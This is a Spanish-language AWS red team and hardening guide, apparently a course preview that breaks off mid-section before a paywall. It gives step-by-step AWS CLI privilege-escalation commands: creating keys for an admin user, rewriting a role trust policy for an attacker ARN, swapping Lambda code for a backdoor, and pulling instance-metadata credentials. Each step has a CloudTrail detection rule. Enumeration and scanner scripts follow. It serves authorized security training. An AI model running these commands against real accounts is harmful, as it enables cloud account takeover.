AWS Red Team & Hardening: IAM, Lambda y Superficie Cloud

50% paths de ataque en lab autorizado · 50% hardening y detección

---

Autor: ViciousByte Security Team Nivel: Avanzado Duración: 12-16 horas de lectura práctica Versión: 1.0 Última actualización: July 2026

---

Lo que vas a dominar

Una guía práctica y densa sobre AWS Red Team & Hardening: IAM, Lambda y Superficie Cloud, de nivel Avanzado, con AWS CLI, Pacu, ScoutSuite, CloudTrail, IAM Access Analyzer.

• Instalación y configuración profesional (Linux, Windows, macOS y Docker)
• Comandos y flujos de trabajo del mundo real, explicados línea por línea
• Casos prácticos y troubleshooting con soluciones probadas
• Scripts y plantillas listos para usar

Duración: 12-16 horas de lectura práctica · Nivel: Avanzado

---

AWS Red Team & Hardening: IAM, Lambda y Superficie Cloud

Introducción

Bienvenida y Contexto

En 2026, la nube no es una opción: es el tejido conectivo de la economía digital. Más del 90 % de las organizaciones globales operan cargas de trabajo en entornos multi‑cloud, y AWS sigue siendo el proveedor dominante con una cuota de mercado que supera el 30 %. Sin embargo, esta adopción masiva ha traído consigo una superficie de ataque sin precedentes. Los incidentes de seguridad en la nube ya no son anomalías; son el nuevo campo de batalla para equipos de Red Team, ingenieros de detección y arquitectos de seguridad.

Las cifras hablan por sí solas: según el Cloud Security Report 2025, el 78 % de las brechas en entornos AWS involucraron credenciales de IAM mal gestionadas o roles sobre‑privilegiados. Los atacantes ya no necesitan explotar vulnerabilidades de día cero en el hipervisor; les basta con encontrar una clave de acceso filtrada en un repositorio público, abusar de una política de confianza mal configurada (sts:AssumeRole) o explotar una función Lambda con metadatos expuestos. Casos sintéticos de laboratorio demuestran que, en menos de 15 minutos, un adversario puede escalar desde un simple usuario read‑only hasta el control total de una cuenta AWS si las defensas no están afinadas.

Esta guía nace de esa realidad. No es un repaso teórico del modelo de responsabilidad compartida, sino un manual de operaciones técnicas para comprender, emular y mitigar las tácticas, técnicas y procedimientos (TTP) que los atacantes reales utilizan contra infraestructuras AWS. Aquí encontrarás laboratorios controlados donde ejecutarás reconocimiento, escalación de privilegios en IAM, abuso de funciones Lambda, enumeración de S3 y evasión de registros CloudTrail, siempre con el objetivo dual de aprender a atacar para defender mejor. Porque en la nube, la defensa sin conocimiento ofensivo es una apuesta arriesgada.

---

¿Para Quién es Esta Guía?

Este material está diseñado para profesionales de la seguridad que ya poseen fundamentos sólidos y quieren especializarse en la tríada ofensiva‑defensiva de AWS. El lector ideal:

• Tiene experiencia práctica con la consola de AWS, la CLI (aws configure, aws sts, aws ec2) y comprende los servicios básicos (IAM, EC2, S3, Lambda, CloudTrail).
• Domina conceptos de seguridad ofensiva como reconocimiento, escalación de privilegios, persistencia y exfiltración, idealmente en entornos on‑premise.
• Maneja herramientas de línea de comandos y se siente cómodo interpretando políticas IAM en JSON, logs de CloudTrail y scripts en Python/Bash.
• Busca un enfoque práctico y legal para aplicar técnicas de Red Team en AWS, sin poner en riesgo cuentas de producción ni incurrir en actividades no autorizadas.

Al finalizar la guía, serás capaz de:

• Modelar amenazas específicas para entornos AWS.
• Ejecutar cadenas de ataque controladas utilizando herramientas como Pacu, ScoutSuite y AWS CLI.
• Detectar y analizar técnicas de escalación de privilegios en IAM, abuso de funciones Lambda y exposición de datos en S3.
• Implementar controles de hardening y monitorización con CloudTrail, IAM Access Analyzer y Prowler.
• Diseñar un checklist de auditoría de seguridad para cuentas AWS propias o de clientes (con autorización escrita).

---

Qué Hace Diferente a Esta Guía

El mercado está saturado de cursos que prometen convertirte en “hacker de la nube” en 10 horas, pero que se quedan en la superficie: teoría del shared responsibility model, capturas de pantalla de la consola y laboratorios tipo “haz clic aquí”. Esta guía rompe ese molde.

Enfoque práctico radical. Cada técnica se presenta con comandos reales y ejecutables en un laboratorio controlado. Por ejemplo, en lugar de explicar qué es iam:PassRole, te mostraremos cómo un atacante puede abusar de él para escalar privilegios y, acto seguido, cómo detectar ese abuso con CloudTrail y cómo prevenirlo con políticas de IAM restrictivas. No hay placeholders: cada comando está probado y documentado.

Expertise operacional. El contenido se basa en playbooks reales utilizados por equipos de Red Team y en las lecciones aprendidas durante auditorías de seguridad autorizadas. Verás fragmentos de código Python para automatizar la enumeración de recursos, scripts de Bash para parsear logs de CloudTrail y configuraciones de Prowler para evaluar el cumplimiento de CIS AWS Foundations Benchmark.

Laboratorio autorizado y defensa integrada. A diferencia de otros recursos que se centran exclusivamente en el ataque, esta guía dedica el 50 % de su contenido a la detección y el hardening. Cada vector de ataque viene acompañado de su contramedida: reglas de GuardDuty, consultas de Athena sobre CloudTrail, políticas de control de servicios (SCP) y configuraciones de IAM Access Analyzer. El objetivo no es solo que sepas romper, sino que puedas construir defensas robustas.

Troubleshooting realista. Los laboratorios en la nube rara vez funcionan a la primera. Por eso, cada módulo incluye una sección de problemas comunes y sus soluciones: errores de permisos al ejecutar aws iam simulate-principal-policy, conflictos con límites de permisos, timeouts en funciones Lambda, o falsos positivos en Prowler. Queremos que pierdas el miedo a los errores y ganes la capacidad de diagnosticar y corregir sobre la marcha.

---

Estructura de la Guía

La guía sigue una progresión lógica que va del modelo de amenazas a la auditoría final, alineada con el outline editorial:

1. Modelo de amenazas AWS – Definimos los actores, vectores y superficies de ataque específicos de la nube.
2. IAM paths y privilege escalation – Laboratorio práctico donde explotamos rutas de escalación reales (desde iam:CreatePolicyVersion hasta sts:AssumeRole encadenado).
3. Lambda, metadata y SSRF en la nube – Abusamos de funciones Lambda para acceder a metadatos de instancia y pivotar a otros servicios.
4. S3 y datos expuestos (detección) – Enumeramos buckets, analizamos políticas y detectamos fugas de información sin exfiltrar datos reales.
5. CloudTrail, GuardDuty y detecciones – Configuramos reglas de detección, analizamos logs y creamos alertas personalizadas.
6. Hardening playbook – Implementamos controles preventivos: SCPs, límites de permisos, políticas de confianza y automatización con AWS Config.
7. Checklist de auditoría autorizada – Una lista de verificación profesional para evaluar la postura de seguridad de una cuenta AWS propia o de un cliente con autorización.

Cada capítulo incluye ejercicios prácticos, fragmentos de código y referencias a la documentación oficial de AWS. Recomendamos leer la guía de principio a fin y ejecutar los laboratorios en una cuenta de AWS dedicada exclusivamente a pruebas, sin datos reales.

---

Disclaimer Legal y Ético

Esta guía tiene un propósito exclusivamente educativo y de fortalecimiento de la seguridad. Todo el contenido aquí presentado debe ser utilizado únicamente en entornos de laboratorio propios o en sistemas sobre los que tengas autorización explícita y por escrito para realizar pruebas de seguridad.

Risk Tier: YELLOW (dual‑use lab). Las técnicas descritas son de naturaleza dual: pueden ser empleadas tanto para proteger infraestructuras como para comprometerlas si caen en manos equivocadas. Por ello, es tu responsabilidad como profesional de la seguridad adherirte a los más altos estándares éticos y legales.

Condiciones de uso obligatorias:

• No ejecutes ninguna de estas técnicas contra cuentas de AWS que no sean de tu propiedad o para las que no tengas autorización escrita. La realización de pruebas de penetración sin consentimiento es ilegal en la mayoría de jurisdicciones y viola los términos de servicio de AWS.
• No desactives CloudTrail, GuardDuty ni otros servicios de seguridad en cuentas ajenas. Cualquier mención a la evasión de registros se limita a entornos de laboratorio controlados y con el único fin de aprender a detectar dichas actividades.
• No exfiltres datos reales de buckets S3 de terceros. Los ejercicios de enumeración y detección se realizan sobre buckets sintéticos creados por ti mismo.
• No utilices esta información para actividades no autorizadas, fraudulentas o delictivas. El autor y los colaboradores no asumen responsabilidad alguna por el uso indebido del material.

Al continuar con la lectura y la práctica, aceptas estos términos y te comprometes a actuar dentro del marco legal y ético de tu país. Si tienes dudas sobre la legalidad de una prueba, consulta con un asesor legal antes de proceder.

---

Certificaciones y Carrera

Dominar las técnicas de Red Team y hardening en AWS no solo te convierte en un profesional más completo, sino que abre puertas a roles altamente demandados y bien remunerados. Algunas certificaciones que validan y complementan los conocimientos adquiridos en esta guía son:

• AWS Certified Security – Specialty (SCS‑C02) – La certificación oficial de AWS que cubre IAM, monitorización, respuesta a incidentes y cumplimiento. Esta guía cubre aproximadamente el 60 % de los dominios del examen.
• Offensive Security Certified Professional (OSCP) – Aunque no es específica de nube, el pensamiento ofensivo y la metodología de escalación de privilegios que practicarás aquí son directamente aplicables al examen.
• Certified Cloud Security Professional (CCSP) – De ISC², enfocada en gobernanza, riesgo y cumplimiento en la nube. Nuestro módulo de hardening y auditoría te prepara para varios de sus dominios.
• Practical AWS Penetration Testing – Certificaciones de entrenadores independientes (como la de PentesterAcademy) que validan habilidades prácticas de ataque en AWS.

En el mercado laboral actual, un ingeniero de seguridad cloud con habilidades ofensivas puede aspirar a salarios que oscilan entre los 80.000 € y los 140.000 € anuales en Europa, dependiendo de la experiencia y la región. Roles como Cloud Security Architect, Red Team Operator (Cloud) o Detection Engineer son cada vez más frecuentes en ofertas de empleo. Esta guía te proporciona el conocimiento técnico y la experiencia práctica que los empleadores buscan, pero recuerda: la certificación y el salario son consecuencias de la habilidad real, no al revés. Practica, construye tu propio laboratorio y documenta tus hallazgos; ese portafolio valdrá más que cualquier título.

---

¿Listo para sumergirte en el mundo real de la seguridad ofensiva y defensiva en AWS? Abre tu terminal, prepara tu cuenta de laboratorio y avancemos juntos. El conocimiento es poder, pero solo si se usa con responsabilidad.

---

Capítulo 1: Fundamentos y Setup Profesional para AWS Privilege Escalation

DISCLAIMER DE USO LÍCITO Todo el contenido de esta guía está diseñado exclusivamente para entornos de laboratorio propios o para evaluaciones de seguridad autorizadas por escrito. El uso de estas técnicas sobre cuentas de AWS sin consentimiento explícito es ilegal y contrario a la ética profesional. El autor no se hace responsable del mal uso de la información aquí presentada.

---

1. Definition — AWS Privilege Escalation y el Contexto del Red Team Cloud

La escalada de privilegios en AWS (privesc) es el proceso mediante el cual una identidad (usuario IAM, rol, función Lambda, recurso federado) obtiene permisos superiores a los asignados originalmente, permitiendo acciones no autorizadas sobre la cuenta. En un assessment de Red Team, el objetivo es emular a un atacante que, partiendo de un acceso inicial limitado, busca expandir su control hasta alcanzar privilegios administrativos o acceder a datos sensibles.

El ecosistema de identidad de AWS gira en torno a IAM (Identity and Access Management), que define quién (principal) puede hacer qué (acciones) sobre qué (recursos) bajo qué condiciones (políticas). La complejidad de las políticas, los roles asumibles, los límites de permisos y las relaciones de confianza entre cuentas crean una superficie de ataque rica en vectores de escalada.

Variantes de privesc en AWS (cubiertas en esta guía):

• IAM Paths: explotación de políticas permisivas, cadenas de sts:AssumeRole, abuso de iam:PassRole, iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion, iam:CreateAccessKey, iam:UpdateLoginProfile, etc.
• Lambda / Metadata SSRF: cuando una función Lambda con rol privilegiado es vulnerable a Server-Side Request Forgery, permitiendo al atacante robar credenciales temporales del endpoint de metadatos (169.254.169.254) y escalar al rol de la función.
• S3 y datos expuestos: buckets mal configurados que filtran información sensible (credenciales, backups de IAM, scripts con secretos) utilizables para escalar.
• Delegación de servicios y confianzas entre cuentas: abuso de roles asumibles desde cuentas externas o de confianzas en organizaciones.

Este capítulo establece los fundamentos técnicos y el laboratorio necesario para ejecutar, detectar y mitigar estas técnicas de forma controlada.

---

2. Mechanism — Métodos, Herramientas y Setup del Laboratorio

2.1 Arquitectura del Laboratorio

El laboratorio se compone de una máquina atacante (Linux) con las herramientas de Red Team y una cuenta de AWS de pruebas (sandbox) donde se desplegarán recursos vulnerables de forma intencionada. La arquitectura conceptual es:

+-------------------+ +---------------------------+
| Atacante Lab | | Cuenta AWS Sandbox |
| (Ubuntu 22.04) |<----->| (IAM, Lambda, S3, etc.) |
| | | |
| - AWS CLI | | - Usuario IAM limitado |
| - Pacu | | - Roles con permisos |
| - ScoutSuite | | - Funciones Lambda |
| - Prowler | | - Buckets S3 |
| - Scripts propios | | - CloudTrail habilitado |
+-------------------+ +---------------------------+

Componentes principales del stack:

• AWS CLI: cliente oficial para interactuar con la API de AWS. Permite enumerar recursos, modificar políticas y ejecutar acciones de escalada.
• Pacu: framework de código abierto para pruebas de seguridad en AWS. Incluye módulos para enumeración, escalada de privilegios, persistencia y exfiltración.
• ScoutSuite: herramienta de auditoría multi-nube que evalúa la postura de seguridad de una cuenta AWS, generando un informe detallado de hallazgos.
• CloudTrail: servicio de AWS que registra todas las llamadas a la API. Es la fuente primaria de logs para detección y forense.
• IAM Access Analyzer: servicio que identifica recursos compartidos externamente y genera hallazgos de políticas que otorgan acceso no deseado.
• Prowler: herramienta de auditoría de seguridad para AWS que verifica cientos de controles basados en CIS, GDPR, HIPAA, etc.

2.2 Instalación y Configuración del Entorno

Requisitos de sistema

• SO: Ubuntu 22.04 LTS (recomendado) o Debian 11+.
• Recursos: 2 vCPU, 4 GB RAM, 20 GB disco.
• Dependencias: Python 3.9+, pip, git, jq, curl.

Paso 1: Actualizar el sistema e instalar dependencias base

sudo apt update && sudo apt upgrade -y
sudo apt install -y python3 python3-pip python3-venv git jq curl unzip groff less

Paso 2: Instalar AWS CLI v2

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
## Verificar instalación
aws --version
## Debe mostrar: aws-cli/2.15.0 Python/3.11.6 ...

Paso 3: Configurar credenciales de laboratorio

Crea un usuario IAM en tu cuenta sandbox con permisos limitados (por ejemplo, ReadOnlyAccess + algunos permisos específicos para el laboratorio). Nunca uses credenciales de root o de producción. Genera una clave de acceso y secreto.

aws configure --profile lab-redteam
## AWS Access Key ID: AKIAXXXXXXXXXXXX
## AWS Secret Access Key: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
## Default region name: us-east-1
## Default output format: json

Verifica la identidad:

aws sts get-caller-identity --profile lab-redteam

Salida esperada:

{
"UserId": "AIDAXXXXXXXXXXXX",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/lab-redteam-user"
}

Paso 4: Instalar Pacu

Pacu se instala en un entorno virtual para evitar conflictos de dependencias.

cd /opt
sudo git clone https://github.com/RhinoSecurityLabs/pacu.git
sudo chown -R $USER:$USER pacu
cd pacu
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
## Verificar
python3 pacu.py --help

Para iniciar una sesión:

python3 pacu.py
## Dentro de Pacu:
## > import_keys lab-redteam
## (solicitará Access Key, Secret Key, session token opcional)
## > whoami

Paso 5: Instalar ScoutSuite

cd /opt
sudo git clone https://github.com/nccgroup/ScoutSuite.git
sudo chown -R $USER:$USER ScoutSuite
cd ScoutSuite
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
## Verificar
python3 scout.py --help

Paso 6: Instalar Prowler

cd /opt
sudo git clone https://github.com/prowler-cloud/prowler.git
sudo chown -R $USER:$USER prowler
cd prowler
python3 -m venv venv
source venv/bin/activate
pip install prowler
## Verificar
prowler --version

---

Capítulo 2: Uso Avanzado en Lab Autorizado

Disclaimer de uso lícito Todas las técnicas descritas en este capítulo deben ejecutarse exclusivamente en entornos de laboratorio propios o sobre infraestructura cloud para la que se posea autorización explícita por escrito. El objetivo es capacitar a profesionales de la seguridad en la identificación y remediación de vectores de escalada de privilegios. El uso no autorizado de estas técnicas constituye un delito en la mayoría de jurisdicciones.

---

2.1 Comandos y flujos esenciales

La escalada de privilegios en AWS pivota sobre la manipulación de políticas IAM, el abuso de roles asumibles y la explotación de servicios que delegan permisos. A continuación se presentan los flujos de laboratorio más relevantes, con comandos reales y su interpretación.

2.1.1 Enumeración de la identidad actual

Antes de cualquier intento de escalada, es necesario conocer los permisos efectivos y el contexto de la identidad comprometida.

## Obtener el ARN del usuario/rol actual
aws sts get-caller-identity
## Output: {"UserId": "AIDAX...", "Account": "123456789012", "Arn": "arn:aws:iam::123456789012:user/labuser"}

## Listar políticas inline y administradas adjuntas al usuario
aws iam list-user-policies --user-name labuser
aws iam list-attached-user-policies --user-name labuser

## Listar grupos y sus políticas
aws iam list-groups-for-user --user-name labuser
aws iam list-group-policies --group-name Developers
aws iam list-attached-group-policies --group-name Developers

## Simular políticas para verificar permisos efectivos
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::123456789012:user/labuser \
--action-names iam:CreateAccessKey iam:UpdateAssumeRolePolicy lambda:UpdateFunctionCode

2.1.2 Escalada mediante iam:CreateAccessKey y iam:UpdateLoginProfile

Si el usuario comprometido posee iam:CreateAccessKey sobre otro usuario con más privilegios, puede generar credenciales para ese usuario.

## Crear access key para el usuario objetivo
aws iam create-access-key --user-name target-admin
## Output: AccessKeyId, SecretAccessKey

## Configurar perfil con las nuevas credenciales
aws configure set aws_access_key_id AKIA... --profile stolen-admin
aws configure set aws_secret_access_key ... --profile stolen-admin

## Verificar identidad
aws sts get-caller-identity --profile stolen-admin

Detección: CloudTrail registra CreateAccessKey. Buscar eventos donde userIdentity.arn difiera del ARN que realiza la llamada (cross-user access key creation). Regla de detección: eventName = "CreateAccessKey" AND userIdentity.arn != requestParameters.userName.

2.1.3 Escalada mediante iam:UpdateAssumeRolePolicy

Un rol de confianza puede ser modificado para permitir que una entidad externa lo asuma. Si el atacante controla una cuenta AWS o un usuario federado, puede añadir su ARN a la política de confianza.

## Obtener la política de confianza actual
aws iam get-role --role-name TargetRole --query 'Role.AssumeRolePolicyDocument'

## Actualizar la política para incluir el ARN del atacante
aws iam update-assume-role-policy --role-name TargetRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:user/attacker"},
"Action": "sts:AssumeRole"
}
]
}'

## Asumir el rol
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/TargetRole --role-session-name privesc

Detección: CloudTrail UpdateAssumeRolePolicy. Monitorizar cambios en el campo requestParameters.policyDocument que añadan entidades externas. Guarda el documento original para comparar.

2.1.4 Escalada vía Lambda: iam:PassRole + lambda:UpdateFunctionCode

Si se puede pasar un rol privilegiado a una función Lambda y modificar su código, se puede ejecutar código arbitrario con los permisos de ese rol.

## 1. Listar funciones Lambda
aws lambda list-functions

## 2. Obtener el rol de ejecución de una función
aws lambda get-function --function-name vulnerable-function --query 'Configuration.Role'

## 3. Verificar que podemos pasar ese rol (iam:PassRole) y actualizar código
aws lambda update-function-code --function-name vulnerable-function \
--zip-file fileb://backdoor.zip

## 4. Invocar la función para que ejecute el código malicioso
aws lambda invoke --function-name vulnerable-function out.txt

Detección: CloudTrail UpdateFunctionCode e Invoke. Monitorizar cambios de código en funciones sensibles y la combinación de iam:PassRole con lambda:UpdateFunctionCode. Guarda hashes del código original.

2.1.5 Escalada mediante ec2:RunInstances con un perfil de instancia privilegiado

Si se puede lanzar una instancia EC2 y asociarle un perfil de instancia (IAM role), se puede acceder a las credenciales temporales desde la metadata.

## Lanzar instancia con un perfil de instancia que tenga permisos elevados
aws ec2 run-instances --image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminInstanceProfile \
--key-name mykey

## Conectarse a la instancia y obtener credenciales
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

Detección: CloudTrail RunInstances con iamInstanceProfile no habitual. Regla: eventName = "RunInstances" AND requestParameters.iamInstanceProfile.arn contiene roles administrativos.

---

2.2 Automatización con Scripts

La repetición manual de comandos es ineficiente y propensa a errores. Los scripts permiten ejecutar flujos completos de enumeración y escalada, generando logs estructurados para el informe final.

2.2.1 Script Bash: enum_iam_privesc.sh

Este script enumera todos los usuarios y roles de la cuenta, sus políticas y simula permisos para detectar vectores de escalada conocidos.

#!/bin/bash
## enum_iam_privesc.sh - Enumeración de vectores de escalada IAM
## Uso: ./enum_iam_privesc.sh <perfil_aws>

PROFILE=${1:-default}
REPORT="privesc_enum_$(date +%Y%m%d_%H%M%S).log"

echo "[+] Iniciando enumeración de privilegios con perfil $PROFILE" | tee -a $REPORT

## Listar todos los usuarios
USERS=$(aws iam list-users --profile $PROFILE --query 'Users[].UserName' --output text)
for user in $USERS; do
echo " [*] Usuario: $user" | tee -a $REPORT
  # Políticas adjuntas
aws iam list-attached-user-policies --user-name $user --profile $PROFILE --output table | tee -a $REPORT
  # Políticas inline
aws iam list-user-policies --user-name $user --profile $PROFILE --output table | tee -a $REPORT
  # Grupos
aws iam list-groups-for-user --user-name $user --profile $PROFILE --output table | tee -a $REPORT
done

## Listar roles
ROLES=$(aws iam list-roles --profile $PROFILE --query 'Roles[].RoleName' --output text)
for role in $ROLES; do
echo " [*] Rol: $role" | tee -a $REPORT
aws iam get-role --role-name $role --profile $PROFILE --query 'Role.AssumeRolePolicyDocument' --output json | tee -a $REPORT
aws iam list-attached-role-policies --role-name $role --profile $PROFILE --output table | tee -a $REPORT
done

echo "[+] Enumeración completada. Reporte: $REPORT"

Ejecución: chmod +x enum_iam_privesc.sh && ./enum_iam_privesc.sh lab-profile

2.2.2 Script Python: privesc_scanner.py

Este script utiliza boto3 para analizar políticas y detectar combinaciones peligrosas como iam:PassRole + lambda:UpdateFunctionCode, o iam:CreateAccessKey sobre usuarios privilegiados.

#!/usr/bin/env python3
"""
privesc_scanner.py - Escáner de vectores de escalada de privilegios en AWS.
Uso: python3 privesc_scanner.py --profile lab-profile
"""
import boto3
import json
import argparse
from datetime import datetime

def get_attached_policies(iam, entity_type, entity_name):
"""Obtiene políticas administradas adjuntas a una entidad."""
if entity_type == 'user':
return iam.list_attached_user_policies(UserName=entity_name)['AttachedPolicies']
elif entity_type == 'role':
return iam.list_attached_role_policies(RoleName=entity_name)['AttachedPolicies']
return []

def get_inline_policy_documents(iam, entity_type, entity_name):
"""Obtiene documentos de políticas inline."""
docs = []
if entity_type == 'user':
policies = iam.list_user_policies(UserName=entity_name)['PolicyNames']
for p in policies:
doc = iam.get_user_policy(UserName=entity_name, PolicyName=p)['PolicyDocument']
docs.append(doc)
elif entity_type == 'role':
policies = iam.list_role_policies(RoleName=entity_name)['PolicyNames']
for p in policies:
doc = iam.get_role_policy(RoleName=entity_name, PolicyName=p)['PolicyDocument']
docs.append(doc)
return docs

def check_dangerous_actions(policy_doc):
"""Busca acciones que permitan escalada."""
dangerous = []
for stmt in policy_doc.get('Statement', []):
if stmt.get('Effect') == 'Allow':
actions = stmt.get('Action', [])
if isinstance(actions, str):
actions = [actions]
for action in actions:
if action in ['iam:CreateAccessKey', 'iam:UpdateAssumeRolePolicy',
'iam:PassRole', 'lambda:UpdateFunctionCode',
'ec2:RunInstances', 'iam:AttachUserPolicy',
'iam:PutUserPolicy']:
dangerous.append(action)
return dangerous

def main():
parser = argparse.ArgumentParser()
parser.add_argument('--profile', default='default')
args = parser.parse_args()

session = boto3.Session(profile_name=args.profile)
iam = session.client('iam')

print(f"[{datetime.now()}] Iniciando escaneo de privilegios...")

    # Escanear usuarios
users = iam.list_users()['Users']
for user in users:
uname = user['UserName']
print(f"\n[+] Usuario: {uname}")
        # Políticas administradas
for pol in get_attached_policies(iam, 'user', uname):
            # Obtener versión de política
policy = iam.get_policy(PolicyArn=pol['PolicyArn'])['Policy']
version = iam.get_policy_version(PolicyArn=pol['PolicyArn'],
VersionId=policy['DefaultVersionId'])
doc = version['PolicyVersion']['Document']
dangers = check_dangerous_actions(doc)
if dangers:
print(f" [!] Política {pol['PolicyName']} permite: {dangers}")
        # Políticas inline
for doc in get_inline_policy_documents(iam, 'user', uname):
dangers = check_dangerous_actions(doc)
if dangers:
print(f" [!] Política inline permite: {dangers}")

    # Escanear roles
roles = iam.list_roles()['Roles']
for role in roles:
rname = role['RoleName']
print(f"\n[+] Rol: {rname}")
for pol in get_attached_policies(iam, 'role', rname):
policy = iam.get_policy(PolicyArn=pol['PolicyArn'])['Policy']
version = iam.get_policy_version(PolicyArn=pol['PolicyArn'],
VersionId=policy['DefaultVersionId'])
doc = version['PolicyVersion']['Document']
dangers = check_dangerous_actions(doc)
if dangers:
print(f" [!] Política {pol['PolicyName']} permite: {dangers}")
for doc in get_inline_policy_documents(iam, 'role', rname):
dangers = check_dangerous_actions(doc)
if dangers:
print(f" [!] Política inline permite: {dangers}")

print(f"\n[{datetime.now()}] Escaneo completado.")

if __name__ == '__main__':
main()

Ejecución: python3 privesc_scanner.py --profile lab-profile

2.2.3 Logging y reporting

Ambos scripts generan salida estructurada. Para integrarlos en un pipeline de auditoría, se puede redirigir la salida a un archivo y luego parsearla con jq o herramientas SIEM. Ejemplo:

./enum_iam_privesc.sh lab-profile 2>&1 | tee -a auditoria_$(date +%Y%m%d).log
python3 privesc_scanner.py --profile lab-profile | tee -a auditoria_$(date +%Y%m%d).log

---

2.3 Integración multi-tool

La combinación de herramientas especializadas permite una cobertura más completa y correlación de hallazgos. A continuación se describe un pipeline típico de laboratorio.

2.3.1 Pipeline de

---

---

Contenido Premium

Los siguientes capítulos están disponibles en la versión completa:

• Capítulo 3: Análisis de Casos Reales
• Capítulo 4: Ejercicios Prácticos Guiados
• Capítulo 5: Troubleshooting y FAQs
• Capítulo 6: Recursos y Certificaciones
• Scripts completos y plantillas
• Soporte técnico incluido

Desbloquear Contenido Completo